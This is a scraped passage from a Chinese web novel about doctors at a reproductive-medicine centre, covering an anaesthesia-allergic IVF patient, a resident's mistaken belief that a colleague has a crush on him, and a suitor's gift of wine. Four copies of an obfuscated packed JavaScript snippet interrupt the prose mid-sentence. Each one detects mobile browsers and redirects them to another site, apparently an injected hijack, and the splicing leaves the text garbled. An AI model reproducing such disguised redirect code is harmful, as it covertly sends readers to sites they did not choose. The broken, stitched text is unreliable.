;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640851|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合地接话:“怎么了?” 崔晚晚说:“就一开始,我们看了好几个房子都不合适,今天外面还下雨,我说我要裂开了,结果他说——‘你细胞啊还会分裂’,你说离谱不离谱。” 江明月都能想象到当时崔晚晚听了这话,一脸无语的表情了。 崔晚晚接着说:“然后我们晚上去吃烧烤,我正在吃烤大肠,他忽然跟我讲他之前在肛肠科的实习经历,说什么之前观摩大佬做手术,亲眼看到主刀把病人的肠子从肚子里掏出来洗,你说我还吃不吃得下?啊?” 江明月想笑,但她忍住了,安慰道:“至少你约他一起出去,他没拒绝你,说明他对你多多少少有点好感。” 崔晚晚静默两秒:“哦,忘了告诉你,我约他出去的理由是——你江明月,委托我,帮他找找房子。” 江明月:“……” “哎,你再帮我打听打听宋远喜欢吃什么,我亲自下厨,不信拿不下他。” “……行。” 江明月叹了口气,应承下来。 - 梅雨季过去之后,一年中最热的时段就到了。 生殖医学中心的就诊者一如既往的多。 术前谈话室内。 江明月与一个年轻女人隔桌而坐。年轻女人叫王露,今天要做取卵手术。 江明月问:“以前有没有做过什么手术?” 昨天已经有助手跟王露沟通过所有手术细节了,江明月现在只是例行谈话。 王露说:“没有。” “取卵之前我们会给你进行全身麻醉,手术过程中你不会有任何痛感,但你有多囊,卵泡比较多,术后很有可能会产生腹水,这是正常的,你不用担心。没什么异议的话,就在这个手术同意书上签个字。” 王露丝毫没有犹豫,提笔在手术同意书上签了字。然后又露出了焦虑的神色:“有腹水的话,这个月是不是就不能移植胚胎了啊?江医生,你帮帮我,我真的想早点怀上,我老公家里催得很急,要是再没有动静,我老公就要跟我离婚了。” 江明月安慰道:“你放宽心,你现在是最佳生育年龄,成功的概率还是很高的。” 王露今年才二十七岁。今天上午总共排了十个人取卵,她是其中最年轻的那个。 江明月让助理护士带王露去换衣服打针,王露忽然说:“江医生,我去年想做抽脂手术的,上了手术台之后,那个整形医院说我麻醉过敏,后来也没帮我抽脂,这个不影响我今天的手术吧?” 江明月脸色都变了:“你刚刚不是说以前没做过手术吗?” 王露语气无辜:“是没做过呀,那个抽脂不是没做成嘛。” 一旁的助理护士急忙道:“你麻醉过敏你怎么不早说啊?这个严重起来会死人的!” “啊?”王露还没意识到事情的严重性,“当时那个整形医院发现我麻醉过敏后,就把我送到你们医院来了,后来好像打了一针那个什么……肾上腺素,就好了。” 助理护士急得跺脚:“那你当时肯定都休克了啊!” 大概被助理护士气急的情绪影响了,王露终于正视起这个问题:“江医生,那我是不是不能打麻醉了?” 江明月深吸一口气。 王露还能不能麻,她不知道,她只知道自己已经麻了。 手术推迟,请麻醉科会诊。 16. 谁暗恋谁 麻醉科收到会诊通知,立刻派了一名不在台的医生过来。 麻醉医生了解情况后,带王露去做过敏测试。 麻醉医生是个刚入职没多久的年轻人,见王露忧心忡忡,他还笑吟吟宽慰道:“你别担心,全麻药不止一种,局麻药也不止一种,这种过敏我们就换另一种。” 结果测试完发现,王露对医院现存的所有麻醉药物都过敏。 麻醉医生顿时笑不出来了。他还是第一次遇到这种情况,立刻摇来了科主任唐秋华。 由于病例过于少见,唐秋华当下就召集了全科所有规培医生和实习医生,全部到生殖中心会诊。 - 江明月在手术室里听说唐主任亲自领着五六个人过来了,估摸着王露的情况可能比较特殊,于是电话汇报给了郑观海。 一行人看过相关的检查记录之后,找了间空闲的会议室坐下讨论。 江明月手术结束后匆匆赶了过来,在边上的空位坐下,一抬头,发现沈归时和宋远也在。 见主管医生到了,唐秋华开门见山:“目前来看,王露体质特殊,无法进入麻醉状态,我个人建议取消手术。” 她略微顿了顿,忽然问:“宋远,全麻分期是哪三步?” 宋远迟疑道:“给药麻上、麻翻了、醒过来。” 唐秋华眉头皱紧,继续点名:“沈归时,你来说。” 每当唐秋华开始随机点人回答问题的时候,就是以她为中心,方圆十米气压最低的时候。那几名麻醉科的规培医生纷纷低下了头,默默祈祷沈归时能准确回答,以免唐主任大动肝火。 还好,沈归时不负众望:“诱导、维持、苏醒。” 唐秋华勉强展开紧皱的眉头:“宋远,我知道你想表达的意思是对的,但你表述不够专业,回去再把书翻翻,以后尽量用术语来回答我的问题。” 江明月默默听着,心绪不知怎的飘到了上个周末。 她特意提醒沈归时,唐主任带教会随机提问,让他把麻醉的书拿出来复习,也不知道他后来看书了没有。 唐秋华把话题转了回来:“最好还是让王露去变态反应科进一步就诊,弄清过敏源到底是什么成分,我们再找找市面上有没有适合她的麻醉药。” 郑观海微微点头,显然是认同这种处理。 就在这时,虚掩的会议室大门被人一下推开,门口的王露四下张望,很快锁定江明月的座位,快步朝她走了过去。 她的面部微微充血,看上去心绪起伏不定,很像要做出某种过激行为。 在所有人都没反应过来的时候,沈归时率先站了起来,三步并作两步,紧紧跟上王露。 王露很快走到了江明月身边,“扑通”一声跪下了,泪眼婆娑:“江医生,我求你了,别取消手术,我真的很想要一个孩子……” 江明月吓了一跳,连忙站起身,弯腰去扶王露:“你先起来,我们会帮你想办法的!” 王露的眼泪大颗大颗的往下掉,哭得上气不接下气:“我刚刚都……都听见了,你们说要取消手术,还……还要把我当变态处理……” 唐秋华听不下去了,中气十足地来了句:“小姑娘,你拎拎清楚啊,我刚刚说的是变态反应科,那是看变态反应的,不是看变态的。” 王露依旧哭哭啼啼的,死活不肯起来:“江医生,我的情况你知道的,我老公好不容易才答应陪我来这一趟,下次……下次可能就不会陪我来了,我一定要赶紧怀上他的孩子,所以我今天一定要取卵……我,我就直接取,不上麻醉,可以吗?” 江明月干脆蹲下来跟她说:“可以是可以,但你B超下有三十几个卵泡,数量太多,不麻醉的话,会很痛苦——” 她还没说完,王露就欣喜道:“没关系没关系!我可以忍!” 唐秋华忍不住出声:“小姑娘,目前来看,你对所有麻醉药都过敏你知道吧?你说取卵不用麻醉,你能忍,我觉得也行,最多二三十分钟,忍一忍也就过去了。可我听你的意思,你还打算怀孕。那等你生的时候你也不打无痛吗?如果你到时候需要剖腹产呢?你也无麻直接剖?” 一席话说得王露一愣一愣的。 唐秋华接着说:“所以你当务之急不是去想怀孕的事,而是应该去做更详细的检查,找到自己能用的麻醉药,这才是真正关系到你的生命健康、你的人生质量的一件大事。至于怀孕,你年纪轻轻的着什么急啊?你看江医生,比你还大一岁,到现在连个男朋友都没有呢。” 被当成举例素材的江明月:“……” 大家都觉得唐秋华这番话晓之以情、动之以理,应该能把王露劝住了。 谁知王露再度掩面哭了出来:“不行不行……如果我怀不上孩子,我老公会跟我离婚的……我爱他,我没有办法离开他……” 会议室一时只剩下了王露的抽泣声。 宋远惊叹道:“姐姐,你这恋爱脑本脑啊!” 唐秋华白了眼宋远:“就你话多是不是?” 王露越哭越厉害,全身都在发抖,呼吸也越来越急促,手指僵硬地叠成爪形。 离她最近的江明月和沈归时第一时间发现了异常。 江明月蹙眉说了声:“呼碱!” 她立即站了起来,环顾四周,像是在找什么东西。 沈归时像是明白她心中所想一般,俯身从会议桌下扯出一个垃圾桶,取下套在桶上的塑料垃圾袋,递给江明月。 今天早上保洁清理过会议室,垃圾袋是新换的,里面空空如也。 江明月接过干净的垃圾袋,罩住王露的口鼻:“不要张嘴,用鼻子呼吸。” 这一切发生得很快,前后不超过十秒。大家还没反应过来,江明月已经在沈归时的协助下处理好了。这俩人配合度极高,虽然全程只有“呼碱”这两个字的交流,但后续一系列动作都像事先排练过一般,专业之余,更带着心有灵犀般的默契。 王露慢慢缓过来了。 唐秋华跟几名学生说:“看一下你们江师姐的急救操作,如果发生呼吸性碱中毒,最快最实用的方法就是给患者口鼻套个塑料袋,这样能帮助患者把呼出的二氧化碳重新吸回体内。宋远,你来讲一下发生呼吸性碱中毒的原因和症状。” 宋远感觉自己有满脑袋的问号。 又我? 好在这一块知识他还算熟悉,很快对答如流。 王露恢复正常之后,仍旧央求江明月让她上手术台取卵。 江明月求助的目光投向了郑观海。 郑观海有意吓唬王露:“取卵没你想得那么轻松。你知道取卵针有多长吗?三十五厘米,比你半条手臂都长。” 他两手拉开了一段距离,比划了一下。 王露一下子眼泪汪汪:“没关系的,我不害怕,求求你们了,帮我取吧……” 郑观海看着王露源源不断滴落的眼泪,也怕这姑娘一激动,又呼吸性碱中毒了。再想想为了达到取卵条件,她已经经历了非常漫长的促排周期,现在不愿意放弃也很正常。 “那行,今天取卵我们帮你做。”郑观海轻叹一声,松了口,“但胚胎我们会一直冷冻保存,等麻醉科评估你能够手术之后,我们才会给你移植胚胎。” 王露抽噎着,点点头,同意了这个方案。 唐秋华见状,领着一群学生准备离开。 江明月喊住宋远:“小宋,你先别走,我有事问你。” 宋远满脸洋溢着大大咧咧的笑容,走过来问:“什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640852|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事啊,江师姐?” 已经走到会议室门口的沈归时略微停了停脚步。 江明月让宋远等她一会儿,她要先把王露安顿好了。 因为原本打算全麻,王露从早上到现在滴水未进。江明月让她先去吃点东西,口服两粒止痛药,一小时后给她做取卵手术。 王露千恩万谢地走了。 会议室里就只剩下江明月和宋远。 江明月问得直截了当:“小宋,你有没有什么特别喜欢吃的菜?” “有的。”宋远回答得飞快,“帝王蟹腿,海参鱼翅,燕窝松茸,贵的都爱。” 江明月:“……” 她想了想,还是打算帮崔晚晚问问仔细:“有没有比较喜欢吃的家常菜?” 宋远抓了抓头发:“我不挑食,什么都挺爱吃。” 江明月点点头:“有忌口吗?” 宋远说:“没忌口,就是不能吃太辣,肠胃不好,吃辣要窜。” “知道了。” 宋远等了一会儿,没等到江明月下一个问题,他还挺奇怪:“江师姐,你要问我什么事啊?” “问完了,你回去吧。”江明月径自走出会议室。把刚刚搜集到的讯息一股脑儿地发给了崔晚晚。 崔晚晚立刻回复了一个爱心。 【崔晚晚:你说如果我做一份超辣的帝王蟹,能不能吸引他的注意?让他想吃又不敢吃。就像暧昧期一样,若即若离,想靠近又不敢靠近。】 【江明月:别糟蹋食物。】 【崔晚晚:你再帮我问问他喜欢什么颜色。】 【江明月:怎么?你还能找到不同颜色的帝王蟹?】 【崔晚晚:不是啦,我是想,他喜欢什么颜色,我就用什么颜色的餐具。】 - 宋远望着江明月走远的背影,难得有些呆楞。 江师姐特意让他留一下,结果就问了这些无关紧要的问题? 他喜欢吃什么,对江师姐来说很重要吗? 怎么会!除非……宋远猛然想到了一种可能。 宋远想起上个周末,江师姐还委托她闺蜜帮他一起找房子。当时他只觉得江明月和她闺蜜都热心又仗义,完全忽略了某一种可能。 他是直男,不是傻子。 他怀疑,江师姐暗恋他。 宋远暗暗吸了口气。 那可是江明月啊。 那是海大医学院里相当耀眼的一束光。 现在这束光,竟然能照到他身上。 宋远整个人都恍恍惚惚的,怎么离开会议室的都不知道。 刚走出去一段路,又迎面遇到了江明月。宋远有些不自然地打招呼:“江、江师姐。” 江明月点了下头,神色如常地从他身边走过。甚至没有多看他一眼。 宋远不由陷入沉思。 猜错了? 结果下一秒江明月就转头过来,问道:“对了,小宋,你喜欢什么颜色?” 宋远狠狠一震,磕磕巴巴地答道:“我感觉都、都差不多。” 没猜错! 一定没猜错! - 宋远同手同脚地走了回去。 已经快中午12点了,沈归时准备去食堂吃午饭。见到宋远回来,他就喊上宋远一起。宋远始终落后他几步,一副魂不守舍的模样。 沈归时踏上扶梯,不动声色地问:“师姐刚刚问你什么事?” 宋远还没跟上,一只手搭在扶梯一侧的扶手上,神情迷茫:“沈哥,江师姐她暗恋我……” 沈归时霍然转身,直接抬腿从正在下行的扶梯上逆行,几个大跨步走了上来,一双眼眸将宋远上下扫了个遍,透着审视的意味:“你说什么?” 17. 长脑子了 宋远看着正在运转的扶梯,呆了两秒,忍不住支起手肘,碰了一下沈归时:“你干嘛啊?扶梯能这么走?注意安全好不好。” 沈归时也不说话,仍旧用那审视般的目光打量宋远,好像要在他身上盯出一个洞。 宋远莫名有些毛骨悚然,他故作镇定地咳了咳:“别老看我啊……难不成,你也暗恋我?” 他不提还好,一提这个,沈归时的脸色更冷了。 “她亲口跟你说的?” 宋远完全跟不上沈归时的思路:“你说谁?” “她说她暗恋你?” “啊,你说江师姐啊。她倒没有亲口说,不过我已经猜到了。哎呀,你这么一问还真提醒我了,你说她要是跟我表白,我该不该答应?沈哥,我实话跟你说啊,虽然江师姐她性格好人漂亮,专业水平还很顶,但她毕竟比我大两岁,我个人对姐弟恋还是有一点点抵触的。” 沈归时扯了下嘴角,整张脸都浸着凉薄的笑意:“你猜的?你怎么猜的?” “上个周末,她特意委托她朋友带我去看房、租房。那天还下雨,她朋友愣是撑着伞陪我转了整整一天。” “她对谁都很好,你不用自作多情。”沈归时面上的冷色消退了一些,他环顾着周遭来来往往的医护人员和就诊者,“以后别在外面乱说师姐暗恋你这种话。” “为什么?” “败坏她名声。” “哦,知道了。不对啊,沈哥,本来我也觉得江师姐就是单纯热心,没想到她今天还打听我喜欢吃什么菜,问得可仔细了,还问我喜欢的颜色。你说这是普通师姐弟之间会聊的话题吗?她问过你吗?” 沈归时本来已经准备往前走了,闻言缓缓转头去看宋远,眼珠子并没有动,只是跟着转头的动作平移过去,看上去有些瘆人。 他的声线也凉得很:“你话可真多。” - 江明月进手术室,拆了一根新的取卵针。 躺在手术台上的王露看见了,呆呆地问了句:“刚刚说这个针多长来着?” “三十五厘米。”江明月让旁边的助手给王露加个挡脸的帘子,人都躺上手术台了,再说那些危言耸听的言论也没意义,她柔声安抚,“你别害怕,其实只有针头那一部分会扎进身体。你尽量不要动,我们速战速决。” 王露的视线被帘子挡住了,人也被固定在手术床上,看不见江明月的操作,似乎没那么恐惧了。但很快,酸胀的痛感就从手术位置涌上了全身,王露直接疼出了眼泪,忍不住瑟缩了一下。 江明月哎了一声:“别动别动。” 王露这么一动,B超探头直接移了个位置。江明月对着影像屏幕重新调整好,又强调了一遍:“忍忍啊,不要动,马上就好。” 王露小声地“嗯”了声。 为了照顾王露的情绪,江明月跟她闲聊起来,尽量分散她的注意力:“你老公在外面等你?” “他不在,他说他一会儿还有工作,先回去了。” 江明月后悔问了这个问题。王露倒很淡然:“他工作忙,家里大大小小的事都是我管,包括现在做试管,基本上也是我一个人跑医院。其实我知道他没那么爱我,可我爱他,只要能跟他在一起,什么苦我都愿意吃。” 江明月有点无言以对,干干地笑了笑:“你这是真爱啊。” 王露笑了起来:“江医生你说得真客气,别人都说我这叫恋爱脑。” 手术室里一众医护都笑了。 “没办法,跟他在一起的每一刻,我都很开心。他不在的时候,我梦里都是他。” 王露有些不好意思,但整个人都放松不少。江明月抓住机会,取了好几个卵,旁边的住院医师立刻将卵泡液送到身后实验室。 大约过了半个钟头,手术结束。 江明月叮嘱道:“回去以后多喝水,多吃蛋白质。腹水严重的话来住院。” 王露虚弱应声。 江明月去更衣室换衣服,看了眼时间,在点外卖和去食堂之间选择了后者。 毕竟现在已经十二点半了,这会儿再点外卖,等送来都要一点多了。还是去食堂凑合吃吧。 去食堂的路上,崔晚晚打来电话:“我妈放假了,刚和你妈妈在小区门口凑一块儿说话呢,说今年想去希腊转一圈。” 崔晚晚的母亲是中学教师,每年暑假都会携夫带女外出旅游。江明月一家有时也会加入。早些年还只是周边几个城市转转,后来家底厚了,就年年境外游了。两家人结个伴,也能相互照应,交情就是这么处出来的。 可惜医院工作忙,江明月根本凑不出一个长假,所以自从她参加工作以后,别说出国玩了,就连出海城都很少。她爸妈也不强求她陪伴,俩口子潇洒得很,得空就跟着崔晚晚一家外出旅行,隔三差五拍点照片给她看看。 “打算什么时候出发?”江明月问。 “这个月吧。”崔晚晚说,“但这次我不准备去。” “为什么?” “我要留在海城,专心追宋远啊。”崔晚晚答得理所当然,“去趟希腊,怎么也要玩个十几天吧。万一这十几天里宋远被别人迷住了,那我不就前功尽弃了。” 江明月快走到食堂门口了,挺巧,宋远单手拂开食堂门口的塑料软门帘,错身走了出来。 江明月不由多看了他两眼。 医院有规定,不许穿白大褂进食堂。宋远身上是自己的衣服,一身休闲装。瞧着身材匀称,模样周正。还是个在读博士,潜在追求者应该不少,崔晚晚的担心是有道理的。 “先不说了,我午饭还没吃。” 江明月继续往食堂里走,让食堂阿姨打了两个菜,换左手拿手机,右手去接餐盘。忽然想起王露躺在手术台上说的话—— “跟他在一起的每一刻,我都很开心。他不在的时候,我梦里都是他。” 江明月不由问:“晚晚,跟宋远在一起的时候,你开心吗?” “啊。”崔晚晚声调平平的,带了些鼻音,像一种自然而然的认可。 “你会梦见他吗?” 崔晚晚惊恐:“你怎么知道!” 江明月沉痛道:“恭喜你啊,长脑子了。” “啊?” “长的是恋爱脑。” 崔晚晚坚决否认:“这怎么能叫恋爱脑呢?这就是喜欢一个人的正常表现。你快吃饭去吧,别来羞辱我的爱情。” - 宋远走出食堂一段距离后,才摸着脸问沈归时:“刚刚江师姐是在看我吧?” 沈归时没吭声,目不斜视地往前走。 宋远十分确信:“她在看我。没想到江师姐现在已经毫不遮掩了,我觉得她很快就要跟我坦白了。沈哥!沈哥你等等我啊!又不赶手术你走那么快。” - 江明月想回办公室睡一会儿,于是迅速吃完午饭,走到水池边洗手。 水龙头哗哗往外流。 食堂接的露天的水管,在外面晒了半天,水流触手都有些暖。 江明月想到刚刚和宋远走在一起的那个人。 他很稳。手稳,人稳,性格稳。谦虚又内敛,沉静而持重。 但江明月总觉得他身上有种干净清朗的少年气,仿佛多看他两眼,自己通身的班味儿都能散去不少。 她不止一次地梦见过他。 按照崔晚晚的说法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640853|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是喜欢一个人的正常表现,之一。 另一个喜欢人的表现,是跟他在一起的时候很开心。 她和他在一起的大多数时候,都是在工作。众所周知,人在工作中很难收获快乐,所以这个条件暂时不满足。 那么,她大概有二分之一的可能喜欢他。 50%的概率。 从医学的角度来说,如果是恶性指标,这已经是一个非常值得警惕并干预的数字了。 江明月就着水龙头里半温不烫的水,抹了把脸。水珠汇集到下巴滴落,她好像清醒了一些,摇摇头,抛下满脑子的胡思乱想。 - 王露腹水严重,两天后过来住院了。 江明月在系统里给她开了医嘱,回办公室之后,忍不住叹了口气。 罗薇点了奶茶外卖,往江明月桌上放了一杯,随口问道:“叹什么气啊?” “没什么,就是单纯觉得女人不容易。你看啊,不管是什么原因导致的不孕,一旦选了试管这条路,最后受罪的都是女方。” “那肯定啊。”罗薇之前是妇产科的,后来附院组建生殖科的时候缺人,才把她调过来的,“而且怀孕了只是第一步,后面唐筛是一关,四维是一关,糖耐也是一关,关关都要闯。现在又不像以前了,生下来放养肯定不行,得精养,难怪现在年轻人都不愿意生小孩儿了。” 一旁的宋冕插话:“我怎么感觉现在来看诊的人越来越多了。” 江明月说:“可能因为试管进医保了。” 今年六月,海城出了通知,将一部分辅助生殖技术纳入医保支付范围。科里有同事算过,这样一来,每个周期都能省下一两万。 国家出钱帮忙生孩子。侧面也能看出,现在生育率问题有多严峻了。 罗薇说:“对了,你们有没听说,郑主任弄来了一笔基金,马上我们就有科研经费了。” 她这话一出,全办公室的人眼睛都亮了,凑上来七嘴八舌地问:“谁有薇姐你消息灵啊!什么基金?有多少钱?” 罗薇摆手:“具体我不知道,我只知道郑主任今晚订了饭店,要请我们吃庆功宴。” 大家心里有了数,脸上多多少少都浮出了笑容。 毕竟,在大三甲,发不出文章的医生就像后宫生不出孩子的嫔妃,前景渺茫,未来黯淡。 有了经费就意味着能做新课题,有新课题就意味着能有新文章,能不能发表暂且不谈,至少现在钱到位了,大家又都有光明的未来了。 就在这时,办公室的固定电话响了。 罗薇走过去接起:“你好,生殖科。” 对方嗓音低沉,略带磁性:“你好,我找江医生。” 全科就一个江医生。罗薇冲江明月喊道:“明月,你电话。” 江明月看了眼手机。 也没未接电话啊。谁找她会打办公室电话? “喂?哪位?”她接过电话就问。 “林逸。” 江明月怔了下。林逸接着说:“现在在忙吗?” “在忙。”其实现在算比较闲的,但江明月不确定对方想说什么,所以先找个托词,“有事?” 林逸淡淡地“嗯”了声:“家里的酒庄产了些红酒,早上刚空运到海城,我拿给你尝尝。” 江明月礼貌道:“谢谢啊,心意领了,酒就算了。我平时不怎么喝酒的。” 林逸声线温和:“你不喝可以分给你同事。你在忙……是吗?那我给你送上去吧,你在几楼?” “什么?”江明月有些反应不过来。 电话那头轻轻地笑起来,不容她拒绝:“我现在就在贵院生殖中心的楼下,江医生。” 18. 告白 电话挂断后,江明月直接下楼。 生殖中心单独一栋楼,和医院主楼隔开了一段距离,楼下只有寥寥几个停车位。 一辆纯黑色的库里南停靠在路边。林逸半靠在后座椅背上,抬手看着腕表。深黑色的府绸衬衫质地柔软,随着他抬腕的动作折出轻微的褶皱。 前面的司机眼尖,看到一个穿白大褂的漂亮女人从楼道里走了下来,立刻提醒道:“先生,人出来了。” 林逸抬眸往前看。江明月双手插着白大褂的口袋,转头看了看四周,很快就锁定了他们这辆库里南,信步朝这儿走来。 司机下车,打开后备箱,取出一个不大不小的折叠推车,一箱接着一箱往推车上搬酒。 江明月看到后连忙阻止:“别搬了别搬了,这么多够了,我们科室人少。” 林逸从车上下来,没说话。司机看了看他的神色,继续埋头搬酒。 江明月只好道谢:“谢谢啊。怎么突然给我送酒?是有什么事吗?” 林逸偏头望她:“没事就不能送?” 江明月诚挚道:“你太客气了。” 林逸给出一个恰到好处的理由:“算我感谢你医术高明,给我家再添新丁。” 司机动作麻利,已经把后备箱搬空了。然后又打开了副驾驶的车门,从副驾上又搬出了好几箱酒。 江明月都看愣了。好好的一辆库里南,都被当货车使了。 林逸淡声道:“这一批酒度数不高,14度左右,不过后劲很足,你可以先试试看。不能接受的话,酒庄那边还有度数更低的。” 江明月顺口问:“酒庄在哪儿?” “宁夏。” 江明月想起父亲早几年也想去宁夏建个酒庄。后来一算成本,一块三百亩的地,光前期投入就要两千万起步,后续生产成本、人员工资、庄园维护费用,都是一笔不小的开销,盈亏难料,所以最后还是放弃了。 “酒庄现在销量怎么样?”江明月不由好奇,“能盈利吗?” 林逸说:“那里产量不大,不对外售酒。” 看来是纯粹的私家酒庄,只为自娱自乐,不考虑盈利与否。 林逸接着说:“不过那边风景相当好,欢迎你去参观。” 司机问送到几楼。江明月上前给司机指路。 送到办公室之后,江明月笑着跟司机说:“我就不下去了,再帮我跟林先生说声谢谢。” 实木制成的红酒箱全堆在了办公室一角,罗薇瞟了眼,打趣道:“知道晚上要聚餐,还特意买酒了啊。” 江明月解释:“还记得上次那个送锦旗的张太太吗?她家属送来的。” 罗薇“哦”了一声:“这家人不错,真上路子。晚上我们吃饭带一箱酒去喝。” 江明月说:“行啊,剩下的大家分了吧。” 她给医院里关系比较好的同事都发了信息,让他们来拿酒。想了想,又打电话给沈归时。 电话很快接通。 沈归时的声音在耳畔响起:“师姐。” 江明月有两天没看见他了,但听着他的声音,眼前似乎能勾画出这个人的模样。 她不由闭了闭眼,认命般地往后一靠,肩背抵在电脑椅的靠背上。 “你在哪儿?”仿佛有很多话想跟他说,但最后只问了这么一句。 沈归时说:“骨科手术室。” “那你先忙,下台了再说。” “已经出来了。师姐什么事?” “哦,刚刚有个家属送了好多红酒过来,你要的话,来我办公室拿。” “来了。” “嗯,你就搬一箱回去,和科里的老师们分分,还有宋远,别忘了啊。” 江明月说到这里,不禁一笑,深觉自己多事。 他都这么大的人了,念书也念到了博士,哪需要她来提醒这些人情世故。 沈归时沉默良久,久到江明月以为信号断了,还偏头看了看手机屏幕是不是还在通话中。 “喂?能听见吗?” “能。”沈归时的声音有些干涩,像从齿间推挤出来的,“我知道了。” 江明月从桌上的一叠文件里抽出医院的宣传折页。 ——骨科在住院部十五楼。 走过来大概要十几分钟。 江明月安心地等。 - 司机小跑到楼下,看见林逸半倚着车门,点了一支烟。 司机上前道:“四楼,出电梯往右走,第一间办公室。” 林逸没说话,但司机知道他在听:“她说谢谢您。” “还有呢?” “……没有了。” 林逸轻笑一声,漫不经心地抬眼,从下往上数,数到第四层。一口烟徐徐地吐了出来,烟雾缭绕中,他的声音都显得不太真切:“也行,慢慢来吧。” 林逸掐了烟,准备上车,忽然瞥见一个人影。 挺眼熟。 林逸回想片刻,想起来了。 是江明月的师弟。 同样是一身白大褂。看来没骗他,确实是师弟。 沈归时隔得很远就注意到了林逸,本来不想理会,可林逸一直在用一种近乎于探究的目光盯着他看,令他十分不适。 经过林逸的时候,沈归时有意停下脚步,面无表情地问:“你来看病?” 林逸挑了下眉:“不是,我送点东西给你师姐。” 沈归时看了眼面前大楼上“生殖医学中心”的门头,点点头,意味深长地说:“知道,上了年纪难免有隐疾,你不愿意说也很正常。” 什么隐疾?还有什么叫上了年纪? 林逸两指夹着烟,缓慢地吸了一口,再开口时依旧平静从容:“你确实还很年轻,不过很多时候,年轻就意味着不够成熟。” 他扫了眼沈归时的实习生胸牌,唇边勾出笑意:“毫无社会经验的在校生,江医生未必会喜欢。” 沈归时的思绪一下子就被拉到了十几分钟前。 骨科手术室的温度调得很低,在她特意提及宋远后,更显冷寂。那一刻他觉得寒意浸入骨缝,迟缓而强势地冰封了他的血肉。 “她会。”沈归时答得很认真,他别开眼,目光里有难言的萧索,“她喜欢。” 林逸微怔。 闷热的暖风轻轻拂过,送来一阵淡淡的烟草气息。 沈归时瞥了眼林逸,语气又冷了下去:“她不喜欢烟味。” 他说完径直往前走。 林逸依旧维持着半倚车门的姿势。 司机想问他走不走,看到他又点了一支烟,就识相地缩了回去。 林逸无言地吸完了这一支烟。 司机小心翼翼地问:“走吗?” 林逸把烟盒和打火机一并递过去,轻轻淡淡地说:“扔了。” - 郑观海在小群里发了通知,说晚上大家一起聚个餐。 大家纷纷在群里吹捧郑观海,夸他是举世无双的好老板,是学科的带头人,更是人生的带头人。 下班之后,除了家里有事的和晚上要值班的,其余人都跟着去了聚餐的地点。 郑观海还叫了几个嫡系的学生一起来。一共二十来个人,围坐在一个大包厢。 凉菜先上。几个年轻学生挺会来事,给在座的都倒上红酒,先敬导师,再敬各位师兄师姐,气氛热闹非凡。 红酒就是林逸送来的酒。江明月浅抿了一口,确实度数不高,入口都没多少酒味。她觉得口感还行,便多喝了几口。 酒过三巡,郑观海目露感慨:“我知道,你们很多人都不喜欢科研,觉得科研没有价值,还占用了业余时间。你们做科研只是因为在目前的考核机制下,岗位晋升和科研成果挂钩。” 包厢内顿时一静。 “我承认,很多时候你们所谓的科研成果就像这个——”郑观海指了指面前的骨碟,“一盘垃圾。” 大家沉默之余,都有些食不下咽了。 “但是!医学的发展终究要靠科研来推动啊!要靠你们在实验室里度过每一个日夜来推动,要靠你们从中得出的每一项数据来推动,要靠……你们年轻人来推动。” 郑观海喝酒上脸,现在双颊都泛着红,“我们是全国最好的三甲医院之一,我们有全国最顶尖的仪器和设备,而你们,是国内最优秀的那批医学生。如果连你们都不好好做科研……中国-未来的医学事业,谈何发展啊……” 这一席话,说是鸡汤吧,又没脱离现实。说是PUA吧,又有理有据。反正理想主义中带了点激情澎湃,昂扬斗志里带了点忧思伤怀。 但一屋子的人确实被洗脑……不是,是被感动到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640854|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一名刚来附院没多久、才到郑观海手下做事的年轻医生站起来表态:“主任您放心,科研经费来之不易,我一定认真做实验,做实做好做到位。” 他说完,大概是觉得气氛略有些尴尬,于是轻咳一声,端起酒杯:“那个,我先提一杯啊,大家随意。” 他一口闷了杯中酒。 其余人仿佛受到感染一般,纷纷起身表态,豪情万丈,跟立军令状一样,说完就视死如归般地灌下一杯酒。 江明月虽然没像他们那样正式地表态发言,但在这种气氛的影响下,也难免多喝了几杯。 